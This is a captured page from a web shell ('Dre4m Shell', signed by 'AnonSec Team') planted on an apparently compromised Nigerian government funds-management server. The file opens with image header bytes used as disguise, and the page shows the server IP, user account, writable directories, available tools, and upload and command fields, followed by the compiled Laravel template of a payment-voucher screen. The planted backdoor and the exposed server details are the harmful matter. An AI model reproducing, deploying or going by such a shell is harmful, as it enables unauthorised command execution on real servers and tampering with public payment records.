ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.142.35.217
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/71ee0889e7950f63e77ec2a0cec60309e7c0a058.php
<?php $__env->startSection('pageTitle'); ?>
	<?php echo e(strtoupper("List of Merge Vouchers")); ?>

<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
	<div class="box-body">
		<div class="row">
			<div class="col-md-12">
				<?php if(count($errors) > 0): ?>
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong>
						<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<p><?php echo e($error); ?></p>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					</div>
				<?php endif; ?>

				<?php if(session('msg')): ?>
					<div class="alert alert-success alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Success!</strong>
						<?php echo session('msg'); ?>

					</div>
				<?php endif; ?>

				<?php if(session('err')): ?>
					<div class="alert alert-warning alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error Occured!</strong>
						<?php echo session('err'); ?>

					</div>
				<?php endif; ?>

			</div>


		</div><!-- /.col -->
		<form method="post" action="<?php echo e(url('/report/e-payment')); ?>">
			<?php echo e(csrf_field()); ?>

			<div class="row">
				<div class="col-md-6">
					<!--include('layouts._searchByDatePatialView')-->
				</div>
			</div>
		</form>
		<hr>

		<!--//start search record-->

		<div class="box-body" style="background-color: white;">
			
			<div>
				<Form id="allVoucherForm" method="post" action="<?php echo e(route('prepareMergeEpayment')); ?>">
					<?php echo e(csrf_field()); ?>

					
				    <div align="center" class="alert" style="font-size: 20px; background: #f9f9f9;">
				        <strong><?php echo e(strtoupper('Generate E-payment From Merged Vouchers')); ?></strong>
			        </div>
			        
					<div align="center" class="row" style="margin-right: 10px; margin-top: -10px;">
						<div class="col-md-3">
							<input type="checkbox" name="headBanner" value="1" style="width: 30px; height: 30px;">
							<span class="text-success">Remove Head Banner on E-payment Report</span>
						</div>
						<?php $__empty_1 = true; $__currentLoopData = $paymentBank; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $listBank): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
                            <div class="col-md-3">
							    <input type="radio" name="account" value="<?php echo e($listBank->bankID); ?>" style="width: 30px; height: 30px;">
							    <span class="text-success"><big><?php echo e($listBank->bank_name .': '. $listBank->account_no); ?></big></span>
						    </div>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
                        <?php endif; ?>
					</div>
					<hr />

					<div class="row"> 
						<div align="center" class="col-md-4">
							<button type="submit" name="generateEpayment" id="generateEpayment" class="btn btn-success"> Generate E-Payment <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">
							<a href="<?php echo e(url('generate-epayment-report')); ?>"  class="btn btn-success"> Go back to list <i class="fa fa-back"></i> </a>
						</div>
						<div align="center" class="col-md-4">
            				<button type="button" class="btn btn-warning" id="startDeMergeVoucher">De-merge <i class="fa fa-copy"></i></button>
            			</div>
					</div>


					<!--//start temp voucher-->
					<hr />
					
					<div class="row">
						<!--<div class="col-md-12">
							<input type="text" id="myInput" class="form-control" onkeyup="myFunction()" placeholder="Search by Beneficiary/Name..." title="Type in a Beneficiary or name">
						</div>-->
					</div>
					<hr />
					<div>
						<table id="myTable" class="table table-hover table-striped table-responsive table-condensed table-bordered input-sm">
							<thead>
							<tr>
								<th>S/N</th>
								<th><input type="checkbox" tabindex="1" name="globalCheckbox" id="globalCheckbox"></th>
								<th><?php echo e(strtoupper("Beneficiary's Name")); ?></th>
								<th><?php echo e(strtoupper("Bank")); ?></th>
								<th><?php echo e(strtoupper("Account No.")); ?></th>
								<th><?php echo e(strtoupper('Sort Code')); ?></th>
								<th><?php echo e(strtoupper('Amount')); ?> &#8358;</th>
							    <th><?php echo e(strtoupper('Description')); ?></th>
							    <th><?php echo e(strtoupper('Merged Record')); ?></th>
							    <th><?php echo e(strtoupper('Date')); ?></th>
							</tr>
							</thead>

							<tbody style="max-height: 200px; overflow-y: auto;">
							<?php if(count($mergedVoucher) > 0): ?>
								<?php $countNull = 1;  ?>
								<?php $__currentLoopData = $mergedVoucher; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$listMerge): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
									<tr>
										<td>
											<?php echo e(1 + $key); ?>

										</td>
										
										<td>
											<input type="checkbox" tabindex="1" name="beneficiaryID[]" id="<?php echo e($listMerge->transactionID); ?>" value="<?php echo e($listMerge->transactionID); ?>" class="beneficiaryArray checkBox">
										</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($listMerge->new_marger_record_name); ?></a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($listMerge->bank_name); ?></a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($listMerge->account_no); ?></a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($listMerge->sort_code); ?></a>
    									</td>
    									<td>
    										<a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e(number_format( $listMerge->merge_amount, 2)); ?></a>
    									</td> 
    
    									<td>
    									   <a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($listMerge->payment_description); ?></a>
    									</td>
    									
    									<td>
    									   <a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($totalMergedVoucher[$key][$listMerge->transactionID]); ?></a>
    									</td>
    
    		                            <td>
    										<a href="#" data-toggle="modal" data-target="#editVoucherModal<?php echo e($listMerge->transactionID); ?>"><?php echo e($listMerge->create_at); ?></a>
    									</td>
    									
								</tr>
								
								    <!--Edit  Voucher for Epayment by JSON-->
                            		<div class="modal fade" id="editVoucherModal<?php echo e($listMerge->transactionID); ?>" role="dialog" aria-hidden="true">
                            			<div class="modal-dialog">
                            				<div class="modal-content">
                            					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
                            						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                            						<h4 class="modal-title">Edit Voucher</h4>
                            					</div>
                            					<div class="modal-body col-sm-12" style="padding: 10px;">
                            						<div class="row" style="background: #FFFFFF; margin: 5px;">
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-12">
                            									Beneficiary
                            									<input type="text" class="form-control" name="beneficiary" id="beneficiary<?php echo e($listMerge->transactionID); ?>" value="<?php echo e($listMerge->new_marger_record_name); ?>" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Bank Name
                            									<input type="text" name="bankName" id="bankName<?php echo e($listMerge->transactionID); ?>" value="<?php echo e($listMerge->bank_name); ?>" class="form-control" />
                            								</div>
                            								<div class="col-md-6">
                            									Account Number
                            									<input type="text" name="accountNumber" id="accountNumber<?php echo e($listMerge->transactionID); ?>" class="form-control" value="<?php echo e($listMerge->account_no); ?>" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Sort Code
                            									<input type="text" name="sortCode" id="sortCode<?php echo e($listMerge->transactionID); ?>" class="form-control" value="<?php echo e($listMerge->sort_code); ?>" />
                            								</div>
                            								<div class="col-md-6">
                            									Amount
                            									<input type="text" name="amount<?php echo e($listMerge->transactionID); ?>" id="amount<?php echo e($listMerge->transactionID); ?>" class="form-control" value="<?php echo e($listMerge->merge_amount); ?>" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-12">
                            									Payment Description
                            									<textarea name="description" id="description<?php echo e($listMerge->transactionID); ?>" class="form-control"><?php echo e($listMerge->payment_description); ?></textarea>
                            								</div>
                            							</div>  
                            							
                            						</div>
                            						<hr />
                            					</div>
                            					<div class="modal-footer">
                            						<button type="button" class="btn btn-success updateMergeVoucher" id="<?php echo e($listMerge->transactionID); ?>"> Update <i clas="fa fa-file"></i></button>
                            						<button type="button" class="btn btn-default" data-dismiss="modal"> Cancel </button>
                            					</div>
                            				</div>
                            			</div>
                            		</div>
                            		
                            	<!-- //end edit -->
	
								<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
								<tr>
									<td colspan="11">
										<div align="right" class="hidden-print">Total Record: <?php echo e(count($mergedVoucher)); ?></div>
									</td>
								</tr>
							<?php else: ?>
							    <tr>
									<td colspan="11">
										<div align="center" class="text-danger">No Record Found!</div>
									</td>
								</tr>
							<?php endif; ?>
							</tbody>
						</table>
					</div><!--//end temp voucher-->
					<hr />
					
                    <!--start adding more beneficiary to epayment-->
                       
        				<table class="table table-bordered table-condensed">
        					<td width="27%">
        					    <input type="text" id="moreBeneficiary" class="form-control" style="border: none;" placeholder="Beneficiary">
        					</td>
        					<td width="15%">
        					    <input type="text" id="moreBankName" class="form-control" style="border: none;" placeholder="Bank">
        					</td>
        					<td width="15%">
        					    <input type="text" id="moreAccountNumber" class="form-control" style="border: none;" placeholder="Account No.">
        					</td>
        					<td width="10%">
        					    <input type="text" id="moreSortCode" class="form-control" style="border: none;" placeholder="Sort Code">
        					</td>
        					<td width="10%">
        					    <input type="text" id="moreAmount" class="form-control" style="border: none;" placeholder="Amount">
        					</td>
        					</td>
        					<td width="35%">
        					    <input type="text" id="moreDescription" class="form-control" style="border: none;" placeholder="Description">
        					</td>
        					
        					<td width="10%">
            				    <button  type="button" id="addMoreBeneficiaryToCapital" class="pull-right btn btn-info btn-sm hidden-print" title="Add More Beneficiary"> <i class="glyphicon glyphicon-plus"></i> <i class="fa fa-user"></i> Add </button>
    					   </td>
    					</table>
					   
                    <!--start adding more beneficiary to epayment-->
                    
					<div class="row">
						<div align="left" class="col-xs-6">
							<strong>Authorized Signatory</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="firstAuthorized" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											<?php $__currentLoopData = $allRecords; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list1): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
												<option value="<?php echo e($list1 ->signatoryID); ?>"><?php echo e($list1 ->fullname); ?></option>
											<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
										</select>
									</td>
								</tr>
							</table>
							<strong>Authorized Signatory</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="secondAuthorized" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											<?php $__currentLoopData = $allRecords; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list2): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
												<option value="<?php echo e($list2 ->signatoryID); ?>"><?php echo e($list2 ->fullname); ?></option>
											<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
										</select>
									</td>
								</tr>
							</table>
						</div>
						<div align="left" class="col-xs-6">
							<strong>Submited For Confirmation By</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="submitedForConfirmationBy" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											<?php $__currentLoopData = $allRecords; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list3): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
												<option value="<?php echo e($list3 ->signatoryID); ?>"><?php echo e($list3 ->fullname); ?></option>
											<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
										</select>
									</td>
								</tr>

							</table>
							<strong>Confirmed Before Me</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="confirmedBeforeMe" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											<?php $__currentLoopData = $allRecords; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list4): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
												<option value="<?php echo e($list4 ->signatoryID); ?>"><?php echo e($list4 ->fullname); ?></option>
											<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
										</select>
									</td>
								</tr>
							</table>
						</div>
					</div>

					<hr />
					<input type="hidden" name="mergeVoucher" id="mergeVoucher" />
					<!--//-->
					<input type="hidden" id="newBeneficiaryPost" name="newBeneficiaryPost" />
					<input type="hidden" id="newDescriptionPost" name="newDescriptionPost" />
					<input type="hidden" id="newBankNamePost" name="newBankNamePost" />
					<input type="hidden" id="newAccountNumberPost" name="newAccountNumberPost" />
					<input type="hidden" id="newSortCodePost" name="newSortCodePost" />
					<input type="hidden" id="newAmountPost" name="newAmountPost" />
					<!--//-->

					<div class="row">
					    <div align="center" class="col-md-4">
							<button type="submit" name="generateEpayment" id="generateEpayment" class="btn btn-success"> Generate E-Payment <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">
							<a href="<?php echo e(url('generate-epayment-report')); ?>"  class="btn btn-success"> Go back to list <i class="fa fa-back"></i> </a>
						</div>
						<div align="center" class="col-md-4">
            				<button type="button" class="btn btn-warning" id="startDeMergeVoucher">De-merge <i class="fa fa-copy"></i></button>
            			</div>
					</div>
					<br />
				</form>
			</div>


	<br />

<?php $__env->stopSection(); ?>


<?php $__env->startSection('scripts'); ?>
	<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
	<script type="text/javascript">
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox").prop("checked", true);
                } else {
                    $(".checkBox").prop("checked", false);
                }
            });
        });
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox2').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox1").prop("checked", true);
                } else {
                    $(".checkBox1").prop("checked", false);
                }
            });
        });
    
        
         //Update merged voucher
        $(document).ready(function() {
            $('.updateMergeVoucher').click(function() {
                var recordID = this.id;
				$('#waitModal' + recordID).html('Pleas wait, updating in progress...').css('color', 'red');
                //JSON Request
                $.ajax({
                    url: murl + '/update-merged-voucher-by-Json',
                    type: "post",
                    data: {
                        'ID': recordID,
                        'newBeneficiary': $("#beneficiary" + recordID).val(),
                        'newDescription': $("#description" + recordID).val(),
                        'newBankName': $("#bankName" + recordID).val(),
                        'newAccountNumber': $("#accountNumber" + recordID).val(),
                        'newSortCode': $("#sortCode" + recordID).val(),
                        'newAmount': $("#amount" + recordID).val(),
                        '_token': $('input[name=_token]').val()
                    },
                    success: function (data) {
                        $('#waitModal' + recordID).html('Record updated successfully. Wait while System reloads...').css('color', 'green', 'font-size', '11');
                        location.reload();
                    }//end success
                })
            });
        });
        //ends update
        
        
        //DEMERGE
        $(document).ready(function() {
            $("#startDeMergeVoucher").click(function () {
                var beneficiaryArray = [];
                $('input.beneficiaryArray:checkbox:checked').each(function () {
                    beneficiaryArray.push(this.value);
                    //beneficiaryArray = $(this).val();
                });
                if(beneficiaryArray == ''){
                    alert('You have not selected any voucher to be desolved !');
                    return false;
                }
                //
                if(confirm("Are you sure you want to desolved these records ?")) {
                    $.ajax({
                        url: "<?php echo e(url('/')); ?>" + '/demerge-voucher-json',
                        type: "post",
                        data: {
                            'beneficiaryArray': beneficiaryArray,
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                            alert(data);
                            location.reload();
                        }//end success
                    })
                }
            });
        });
        
        
        
         //Add More Beneficiary to Capital Voucher
        $(document).ready(function() {
            $('#addMoreBeneficiaryToCapital').click(function() {
                
                //JSON Request
                 if(confirm("Are you sure you want to continue with this operation ?")) {
                    $.ajax({
                        url: murl + '/epayment-add-more-beneficiary',
                        type: "post",
                        data: {
                            'beneficiary': $("#moreBeneficiary").val(),
                            'bankName': $("#moreBankName").val(),
                            'accountNumber': $("#moreAccountNumber").val(),
                            'sortCode': $("#moreSortCode").val(),
                            'amount': $("#moreAmount").val(),
                            'description': $("#moreDescription").val(),
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                           alert(data);
                            location.reload();
                        }//end success
                    })
               }
            });
        });
        //ends Add More Beneficiary


       
	</script>
	<!--include ('layouts._searchByDatePatialCpo')-->
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
	<style type="text/css">

	</style>

	<!-- Include Required Prerequisites -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap/3/css/bootstrap.css" />
	<!-- Include Date Range Picker -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />

<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/resources/views/nicnModuleViews/epaymentShedule/generateEpaymentReportMerge.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team